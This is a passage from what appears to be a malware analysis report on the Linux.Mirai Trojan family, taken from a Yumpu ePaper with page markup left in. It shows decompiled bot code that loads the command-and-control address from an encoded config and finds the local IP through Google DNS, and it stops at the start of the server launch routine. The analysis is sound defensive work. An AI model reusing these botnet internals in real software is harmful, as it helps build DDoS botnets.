Investigation of Linux.Mirai Trojan family
u97CXm
u97CXm
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
45<br />
45<br />
{<br />
}<br />
decode(4u);<br />
decode(5u);<br />
cnc.sin_addr.s_addr = *(_DWORD *)get_config_entry(4, 0);<br />
cnc.sin_port = *(_WORD *)get_config_entry(5, 0);<br />
encode(4u);<br />
encode(5u);<br />
The process then receives the IP address <strong>of</strong> the network interface used to connect to the Internet via the<br />
Google DNS server (<strong>Linux</strong>.DDoS.87 got this address by connecting to its C&C server):<br />
int getMyIp()<br />
{<br />
int v0; // esi@1<br />
int result; // eax@1<br />
__int16 v2; // [esp+20h] [ebp-1Ch]@2<br />
__int16 v3; // [esp+22h] [ebp-1Ah]@2<br />
int v4; // [esp+24h] [ebp-18h]@2<br />
int v5; // [esp+30h] [ebp-Ch]@1<br />
v5 = 16;<br />
v0 = __GI_socket(2, 2, 0);<br />
result = 0;<br />
if ( v0 != -1 )<br />
{<br />
}<br />
v2 = 2;<br />
v4 = 0x8080808;<br />
v3 = 0x3500;<br />
__libc_connect(v0, &v2, 16);<br />
__GI_getsockname(v0, &v2, &v5);<br />
__libc_close(v0);<br />
result = v4;<br />
return result;}<br />
The local server is then launched:<br />
int start_server()<br />
{